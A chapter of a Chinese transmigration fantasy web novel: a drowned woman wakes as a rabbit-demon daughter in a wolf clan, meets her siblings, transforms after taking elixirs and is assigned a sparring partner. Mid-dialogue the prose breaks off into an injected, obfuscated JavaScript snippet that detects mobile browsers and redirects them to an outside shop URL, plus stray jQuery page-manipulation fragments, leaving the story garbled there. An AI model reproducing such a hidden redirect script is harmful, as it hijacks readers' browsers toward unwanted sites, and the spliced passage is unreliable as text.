“三小姐,三小姐,醒醒。”
“快,去请少主来,三小姐她突然晕倒了。”
柳安玫深呼了口气,脑子沉沉浮浮,像溺水之人飘忽在一望无际的海面上。
她睁不开眼,双手胡乱摆动着,拼命地想引起周围说话的人的注意。
可惜没有人能注意到她。
她觉得自己是死了的,假期和朋友去海边度假,她和朋友乘坐的游艇出了问题,她被慌乱的人群撞进了海里,没人注意到她,只有害她落水的人捂着嘴呆愣在原地。
可是她好像又没死,因为她能感觉到有一股股热流在她身体内部流转,那感觉能把人烫死。
柳安玫睁不开眼,那股子烦人的热浪灼烧着她一直没停过,甚至流向了四肢百骸。
不知道过了多久。
她耳朵边模糊响起一对男女的对话。
“悦儿,你莫哭了,安安她不会有事的。”
“安安她身子弱,我舍不得她受那些修炼带来伤害,我宁愿她什么都不会。”轻声软语带有几分抽泣的女声道。
柳安玫:?
什么修炼?
“别担心,安安只是昏过去了,等灵药在她体内见效了,马上就会醒。”
抽泣声还在继续,男人语气也染上了焦急,似是很想哄好抽泣的女子。
那女子哭了一会儿,断断续续道:“若是你早早地阻止了母亲安排安安训练,我的安安又何辜于此?安安她还没化形呢,你不知道吗?”
“对对,都怨我。等安安醒了,悦儿你怎么惩罚我都行。母亲她也是觉得安柯安雪他们没化形的时候可以训练,所以也就安排了安安。悦儿莫再哭了,你哭我心都要碎了。”
“我知道母亲向来不喜欢我,连带着对安安也这般严苛。”
“悦儿,不会的,母亲她只是不知道你的好。”
“在族中我们母女二人能仰仗的也只有您了。”
“悦儿你放心,我无时无刻都站在你这边。”
“嗯…我相信夫君的为人。”女子顿了顿继续道:“听说前几日,妖皇陛下给族里赏了不少修炼的好宝贝,我无福,是个小妖,给不了安安修炼上的帮助,还需夫君您……”
她话还没说完,男子便急切献好道:“我的那份全给安安,之后再向父亲讨些适合安安的也全给了她。”
“…….”床上不是故意偷听的柳安玫动动手,不好!抽筋了。
她扯动俩下胳膊,似有无数蚂蚁在啃噬着她的手臂,麻!好在背后的痛感没有最初那般强烈。
这边动静自然没逃过男人的眼睛,他欣喜叫道:“悦儿你看,安安动了。”
抽泣声戛然而止,女子用帕子擦拭掉泪珠,伸手抚摸着柳安玫。
“我可怜的儿,你睁开眼睛看看娘。”
柳安玫:……
好累先睡会儿。
——
几日后。
柳安玫浑浑噩噩地躺在巨大的床榻上。
为什么用巨大来形容呢?那是因为她穿越了,穿在了一只兔子身上。
据她这几日的继承了原主记忆的了解,她是个没成人形的兔子,漂亮娘奚悦是只兔子,便宜爹柳文琦是只狼,有个很牛逼的身份,狼族少主。
原主爹娶了两位夫人,大夫人郑玉青是族群里面推选出来的,二夫人奚悦也就是她娘是便宜爹少年时期的一见钟情的心上人。
柳文琦耳根子软,好说话,又是个端水大师,因此后院很安稳。
至于柳安玫刚穿来时候的伤,是因为原主的祖母族长夫人借着修炼体魄的名义,早早让她开始接受教习师傅的训练,没成想原主身体太脆弱了,再最后就是她穿过来后发生的事情了。
虽然柳文琦的后院很平静,没有勾心斗角。但是很多狼族人因着兔妖一族太过孱弱,觉得后续他们诞下的子嗣也会随了奚悦的劣质基因,因此很看不惯她。
好在有柳文琦护着,再加上原主娘亲不顺心就喜欢喊夫君的性子倒也没受过多少苦。
柳文琦说是已经禀了她的狼祖母。延了对她的训练,给了她充分休息的时间。
思及此,有一种莫名的熟悉感从内心深处传来,转瞬即逝。对于和原身相同的名字,她总感觉在哪里了解过,在什么地方呢?
破脑子,关键时刻总掉链子。
算了,不想了。
柳安玫两条兔腿一蹬,跳下了床。
除了手掌大小的身材让习惯人形活动的她有些不适应外,其他都还好。
她现在想出去看看,看看她今后要长期生活的地方。
至于要不要穿越回去,她想的是船到桥头自然直,回不回去都不大重要,那个地方她生活惯了,非常热衷体验全新的生活。
倒像是体验着沉浸式大型剧本杀。
她的这间屋子摆设简约大气,古朴摆设,雕花木床桌椅,锦缎做被,流光溢彩的轻纱做帘,绣着延绵山水的两张屏风隔开了休息和吃饭的地方,倒是十分得活色生香。
房间里有两三个丫鬟婆子守着,是些化了形妖怪。
单瞧着和古代社会没甚区别。
丫鬟喜鹊见了她便伸手将她从地面抱起,变戏法似得手掌上突然出现一块块被整齐切好的胡萝卜:“三小姐,您要去哪里?喜鹊带您过去。”
柳安玫觉得自己应该先出去转转,于是道:“出门。”
喜鹊应下,眼神示意身边另一个丫鬟去通禀二夫人后带着柳安玫出了门。
柳安玫安心窝在她怀里吃胡萝卜,被她带着到处走。
倒不是她嘴馋,身为兔子她是真拒绝不了这个水头很足的胡萝卜,就像没有猫能拒绝猫条。
府邸很大,逛了许久才堪堪出了他们所居的杏花院。
据原主记忆来说这座狼府建在山上,整个山头都是他们的地界,当然这里也不完全都是狼妖还有其他嫁来结亲的妖族。
妖界妖风淳朴,一些大妖府邸用的还有凡人买卖来的仆役。不过签的都不是死契,一般十年换一波人。做的都是些无足轻重的闲散活计,毕竟人妖两族还是有些防备心在身上的。
因着性价比高大多数妖族用的都是凡人仆役。
——
出了杏花院就是主院,相邻着的还有大夫人的清风院。
正看着柳安玫被一旁的凉亭吸引了目光,视线看过去两位约莫凡人十五岁左右的少年少女坐在里面聊天。
柳安玫眨巴眨巴眼,在记忆里搜索出他们是大夫人生下的龙凤胎,大哥柳安柯,二姐柳安雪。
印象里他们三个接触的很少,但是一靠近心里那股熟悉感就愈发强烈,仿佛她离抓不住的真相就只差一点。
看来有必要和他们交流交流了。
想着她便从喜鹊怀里跳了下去,灵活地几步跃到两人身边。
喜鹊跟上前了两步见两人一兔凑在一起倒没继续上前,站在不近不远的地方候着。
柳安柯:“那个地方在黑云崖。”
柳安雪:“啊!那么危险的地方!”
“黑云崖?”
突如其来插入的声音惊得两人齐齐回头看向声音来源。
“咦,是三妹妹,你怎么在这里?听说你受伤了,现在好些了吗?”柳安雪讶异地看着兔子,伸手把她抱在怀里,摸摸她的头。
她的手掌软软的,还有股淡淡的桃香,味起来心旷神怡,柳安玫点点兔头: “已经休息好了,躺累了出来看看,看你们在这里就过来了,你们聊的黑云崖是什么地方呀?”
“那是个很危险的地方,我们舅舅说要带我们见见世面,去里面训练一下我们。”
“我能和你们一起去吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471424|201503||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”柳安玫问道。
柳安柯想也没想便拒绝:“可是黑云崖很危险,你还没化形不能去。”
意料之内被拒绝了,柳安玫追问:“只是因为没有化形的原因吗?”
她实在想搞清楚那股熟悉又说不上来的感觉是怎么回事。
万一是跟黑云崖有关呢?
“倒也不是,是因为我们也是去历练,那边很危险,倒时若是顾不上你那就更危险了。”柳安雪认真道。
也对,不能麻烦他们,柳安玫只是想来套个话,能去虽好,但是不去也行。
略过该话题三人换了些其他话题,倒是聊得热火朝天。
奚悦来的时候三人都没发现。
她手里端了盘果子,嘴角噙着笑:“好了该歇歇了,来,吃些果子。”
“谢谢二娘。”两人异口同声地道。
奚悦摸了摸他们的头,说道:“你们吃完就去找你们爹爹,他让我转告你们他要考你们的训练。”
两人齐齐点头,很是听话。
几人一兔消灭掉盘子里的果子后,俩兄妹便走了。
奚悦抱着她回到她的小屋。
后把柳安玫放在桌子上,从一个储物袋里拿出许多大大小小的灵丹妙药。
待桌子摆得再也放不下后,她道:“安安,这是娘亲从你爹那里拿来的。全是好东西,娘亲平日里修炼的不够,你爹又忙,没办法勤带你去历练。兔子一族化形本身就比较慢,娘亲不舍得你受修炼的苦,这些你都吸收了,保证能成功让你化形。”
柳安玫吸着鼻子凑近那堆东西闻了下,霎时间一股股令人舒适的暖流涌向自己。
确实全是好东西,舒服,太舒服了!宛若置身云间,被绵软的云朵包裹,让人想一觉睡过去。
下一瞬,兔腿一软后又一摊,整个兔子似小方帕子般瘫在桌上。
兔眼睛再也睁不开了。
——
翌日。
身着嫩粉色衣裙似十四岁左右的小姑娘正托着下巴,坐在铜镜前欣赏里面的娇娇人。坐在半人高的椅子上,双腿不停地来回摆动,似是开怀。
柳安玫是在早晨起床时发现自己变了样子。
没错!她化形了!
化形后的身高年岁看起来和安柯安雪差不多。
那堆灵丹妙药太给力了,只不过美中不足的是她耳朵收不回去,她早在刚刚尝试了多种方式收耳朵,都没用。
不过她已经不在意了,看着铜镜里的样貌竟和前世初中的她一模一样。看来这具身体成年后的样子和穿来前也不会有区别。
那她就放心了,毕竟颜值这块,她是顶美的。
门外,长着蛇尾的小厮正快速朝这边滑行着,停至门前,守着的喜鹊迎上前。
两人交谈片刻后,喜鹊点点头。小厮不再逗留转头离开。
喜鹊带着笑走进了屋,对柳按玫道:“三小姐,少主那边派人来请您过去,说是二爷那边给你选了陪练,今后便是他来陪您修炼了。”
二爷,也就是原主的二叔。
柳安玫来了兴致,她跳下椅子,拉着喜鹊的手就往门外走。
前院稀疏站着四五个人,柳文琦握着奚悦的手,眼神落在面前的管事身上。
那是他二弟遣人派来的一个管事,管事领着一位半大孩子站在日头下,男孩生着双暗红色瞳孔,在阳光的映衬下显得妖艳,无端给人一种神秘感,他面色很白,身材瘦弱,能看出是长期营养不良导致。他脸上没什么表情,时不时又让人感觉到脸色很臭。
他的衣角被扯了一下,男孩侧眸看去,一个没有完全化形的兔子正握着他的衣角,眨巴着闪闪发光的眼睛看自己。
柳安玫:......
哇塞小帅哥,是给她选的吗?
男孩缓缓抽出自己的衣角,不给她握。